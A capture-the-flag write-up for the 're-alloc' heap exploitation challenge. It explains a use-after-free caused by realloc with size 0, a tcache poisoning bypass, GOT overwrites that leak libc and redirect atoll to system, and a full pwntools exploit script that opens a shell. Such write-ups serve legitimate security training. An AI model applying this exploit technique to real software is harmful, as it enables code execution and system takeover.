Challenge Description
File type
bash
| 1 | $ file re-alloc |
| 2 | re-alloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.29.so, BuildID[sha1]=14ee078dfdcc34a92545f829c718d7acb853945b, for GNU/Linux 3.2.0, not stripped |
Binary Protection
bash
| 1 | $ checksec re-alloc |
| 2 | [*] './re-alloc' |
| 3 | Arch: amd64-64-little |
| 4 | RELRO: Partial RELRO |
| 5 | Stack: Canary found |
| 6 | NX: NX enabled |
| 7 | PIE: No PIE (0x3fe000) |
| 8 | FORTIFY: Enabled |
| 9 | Stripped: No |
Background
re-allocfile offers 4 options to interact with memory:- Option 1: Allocate a new memory
- Option 2: Reallocate an old memory
- Option 3: Free a memory
- Option 4: Quit the program
bash
| 1 | $ ./re-alloc |
| 2 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 3 | ๐ RE Allocator ๐ |
| 4 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 5 | $ 1. Alloc $ |
| 6 | $ 2. Realloc $ |
| 7 | $ 3. Free $ |
| 8 | $ 4. Exit $ |
| 9 | $$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 10 | Your choice: 1 |
| 11 | Index:0 |
| 12 | Size:12 |
| 13 | Data:abc |
| 14 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 15 | ๐ RE Allocator ๐ |
| 16 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 17 | $ 1. Alloc $ |
| 18 | $ 2. Realloc $ |
| 19 | $ 3. Free $ |
| 20 | $ 4. Exit $ |
| 21 | $$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 22 | Your choice: 2 |
| 23 | Index:0 |
| 24 | Size:40 |
| 25 | Data:def |
| 26 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 27 | ๐ RE Allocator ๐ |
| 28 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 29 | $ 1. Alloc $ |
| 30 | $ 2. Realloc $ |
| 31 | $ 3. Free $ |
| 32 | $ 4. Exit $ |
| 33 | $$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 34 | Your choice: 3 |
| 35 | Index:0 |
The program stores the returned memory address into a global array of pointer (
heapvar) whose length is 2. First 3 options is provided through 3 separated functions:- Option 1:
allocate()function takes and validates the index and size from user, then allocates a memory chunk on heap and store in globalheapvariable.
c1 int allocate() 2 { 3 _BYTE *v0; // rax 4 unsigned __int64 index; // [rsp+0h] [rbp-20h] 5 unsigned __int64 size; // [rsp+8h] [rbp-18h] 6 void *ptr; // [rsp+18h] [rbp-8h] 7 8 printf("Index:"); 9 index = read_long(); 10 if ( index > 1 || heap[index] ) 11 { 12 LODWORD(v0) = puts("Invalid !"); 13 } 14 else 15 { 16 printf("Size:"); 17 size = read_long(); 18 if ( size <= 120 ) 19 { 20 ptr = realloc(0LL, size); // malloc(size); 21 if ( ptr ) 22 { 23 heap[index] = ptr; 24 printf("Data:"); 25 v0 = (_BYTE *)(heap[index] + read_input(heap[index], (unsigned int)size)); 26 *v0 = 0; 27 } 28 else 29 { 30 LODWORD(v0) = puts("alloc error"); 31 } 32 } 33 else 34 { 35 LODWORD(v0) = puts("Too large!"); 36 } 37 } 38 return (int)v0; 39 } - Option 2:
reallocate()function receives index, size of new chunk from user and reallocates a memory chunk.
c1 int reallocate() 2 { 3 unsigned __int64 index; // [rsp+8h] [rbp-18h] 4 unsigned __int64 size; // [rsp+10h] [rbp-10h] 5 void *newPtr; // [rsp+18h] [rbp-8h] 6 7 printf("Index:"); 8 index = read_long(); 9 if ( index > 1 || !heap[index] ) 10 return puts("Invalid !"); 11 printf("Size:"); 12 size = read_long(); 13 if ( size > 120 ) 14 return puts("Too large!"); 15 newPtr = realloc((void *)heap[index], size); 16 if ( !newPtr ) 17 return puts("alloc error"); 18 heap[index] = newPtr; 19 printf("Data:"); 20 return read_input(heap[index], size); 21 } - Option 3:
rfree()function free a allocated memory chunk and set the corresponding index entry of theheapvariable to null pointer.
c1 int rfree() 2 { 3 _QWORD *v0; // rax 4 unsigned __int64 v2; // [rsp+8h] [rbp-8h] 5 6 printf("Index:"); 7 v2 = read_long(); 8 if ( v2 > 1 ) 9 { 10 LODWORD(v0) = puts("Invalid !"); 11 } 12 else 13 { 14 realloc((void *)heap[v2], 0LL); 15 v0 = heap; 16 heap[v2] = 0LL; 17 } 18 return (int)v0; 19 } - Option 1:
The special thing is those 3 operations both repurpose the
reallocfunction:realloc(NULL, size): same asmalloc(size).realloc(ptr, size): normal usage ofrealloc. If the size value is the same as old chunk size, then it does nothing and returns the same address as before.realloc(ptr, NULL): same asfree(ptr).
Constraints:
- We cannot allocate a chunk whose size is more than 120 bytes.
- Reading user input function always checks the buffer size to prevent buffer overflow.
Vulnerability
- The vulnerability is in reallocate function. It doesn't handle case that the size value is 0. If we do reallocating operation with the size is 0, the function will run
realloc(ptr, 0)which is equivalent tofree(ptr). Because the index in array storing the pointer to that memory after that isn't set to null, it leads to use-after-free vulnerability.
Exploitation
Arbitrary Write
- The libc provided in this challenge has mitigation that prevent double-free vulnerability so we cannnot make tcache poisoning attack.
- However, this mitigation only check if an address exists in a bin of tcache corresponding to its chunk size. Therefore, we can bypass double-free check by resize the chunk and free it again.
- We use this attack to put an arbitrary address we want to tcache. In next
mallocusage will return that address and we have privilege to write any data to that address. Below is the sample code for that idea:
python
| 1 | # Pollutes 0x20 bin with TARGET_ADDRESS |
| 2 | allocate(0, 0x10, b"abc") |
| 3 | reallocate(0, 0) # free pointer in index 0 |
| 4 | rellocate(0, 0x10, TARGET_ADDRESS) |
| 5 | allocate(1, 0x10, b"abc") |
| 6 | |
| 7 | # Set pointer in index 0 to null |
| 8 | reallocate(0, 0x50, b"abc") |
| 9 | rfree(0) |
| 10 | |
| 11 | # Set pointer in index 1 to null |
| 12 | rellocate(1, 0x60, b"abc") |
| 13 | rfree(1) |
| 14 | |
| 15 | # The same code with 0x30 bin... |
- After running the above code, tcache should look like:
bash
| 1 | pwndbg> tcachebins |
| 2 | tcachebins |
| 3 | 0x20 [ 0]: (TARGET_ADDRESS) โโ ... |
| 4 | 0x30 [ 0]: (TARGET_ADDRESS) โโ ... |
Leak Libc
- Since we have arbitrary write and PIE is disabled, I think of overwriting the GOT table. In this case, I would like to overwrite
atollfunction toprintfso that we can leak data from stack using format string attack.
python
| 1 | printf_plt = exe.plt['printf'] |
| 2 | allocate(0, 0x20, p64(printf_plt)) |
- With the code above, we leaked the data from stack when do an operation and get libc base address.
Get Shell
- Now we have libc base address, so we can calculate the address of
systemfunction and again overwriteatollfunction tosystemfunction. - However,
atollnow becameprintfwhich returns the number of output character. Therefore, we should input in a more appropriate way.
Exploit Code
python
| 1 | from pwn import * |
| 2 | import utils |
| 3 | |
| 4 | context.terminal = "kitty" |
| 5 | context.log_level = "debug" |
| 6 | context.arch = "amd64" |
| 7 | |
| 8 | TARGET = "./bin/re-alloc" |
| 9 | |
| 10 | target = process(TARGET) |
| 11 | # target = remote("chall.pwnable.tw", 10106) |
| 12 | gdb.attach(target, gdbscript="b *(main + 40)") |
| 13 | |
| 14 | exe = ELF(TARGET) |
| 15 | libc = exe.libc |
| 16 | rop = ROP(exe) |
| 17 | |
| 18 | def allocate(index: int, size: int, data: bytes): |
| 19 | target.sendlineafter(b"Your choice:", b"1") |
| 20 | target.sendafter(b"Index:", str(index).encode()) |
| 21 | target.sendafter(b"Size:", str(size).encode()) |
| 22 | target.sendafter(b"Data:", data) |
| 23 | |
| 24 | def reallocate(index: int, size: int, data: bytes = b""): |
| 25 | target.sendlineafter(b"Your choice: ", b"2") |
| 26 | target.sendafter(b"Index:", str(index).encode()) |
| 27 | target.sendafter(b"Size:", str(size).encode()) |
| 28 | if size > 0: |
| 29 | target.sendafter(b"Data:", data) |
| 30 | |
| 31 | def rfree(index: int): |
| 32 | target.sendlineafter(b"Your choice: ", b"3") |
| 33 | target.sendafter(b"Index:", str(index).encode()) |
| 34 | |
| 35 | def printf(data: bytes): |
| 36 | target.sendlineafter(b"Your choice: ", b"3") |
| 37 | target.sendafter(b"Index:", data) |
| 38 | |
| 39 | def new_allocate(index: bytes, size: bytes, data: bytes): |
| 40 | target.sendlineafter(b"Your choice: ", b"1") |
| 41 | target.sendafter(b"Index:", index) |
| 42 | target.sendafter(b"Size:", size) |
| 43 | target.sendafter(b"Data:", data) |
| 44 | |
| 45 | allocate(0, 0x10, b"abc") |
| 46 | reallocate(0, 0) |
| 47 | atoll_got = exe.got['atoll'] |
| 48 | reallocate(0, 0x10, p64(atoll_got)) |
| 49 | allocate(1, 0x10, b"abc") |
| 50 | reallocate(0, 0x50, b"abc") |
| 51 | rfree(0) |
| 52 | reallocate(1, 0x60, b"abc") |
| 53 | rfree(1) |
| 54 | |
| 55 | allocate(0, 0x20, b"abc") |
| 56 | reallocate(0, 0) |
| 57 | atoll_got = exe.got['atoll'] |
| 58 | reallocate(0, 0x20, p64(atoll_got)) |
| 59 | allocate(1, 0x20, b"abc") |
| 60 | reallocate(0, 0x50, b"abc") |
| 61 | rfree(0) |
| 62 | reallocate(1, 0x60, b"abc") |
| 63 | rfree(1) |
| 64 | |
| 65 | printf_plt = exe.plt['printf'] |
| 66 | allocate(0, 0x20, p64(printf_plt)) |
| 67 | printf(b"%3$p") |
| 68 | __read_chk_addr = int(target.recvuntil(b"Invalid !", drop=True).decode(), 16) |
| 69 | libc.address = __read_chk_addr - 9 - libc.symbols['__read_chk'] |
| 70 | system_addr = libc.symbols['system'] |
| 71 | |
| 72 | new_allocate(b"A" * 1, b"B" * 10, p64(system_addr)) |
| 73 | printf(b"/bin/sh") |
| 74 | |
| 75 | target.interactive() |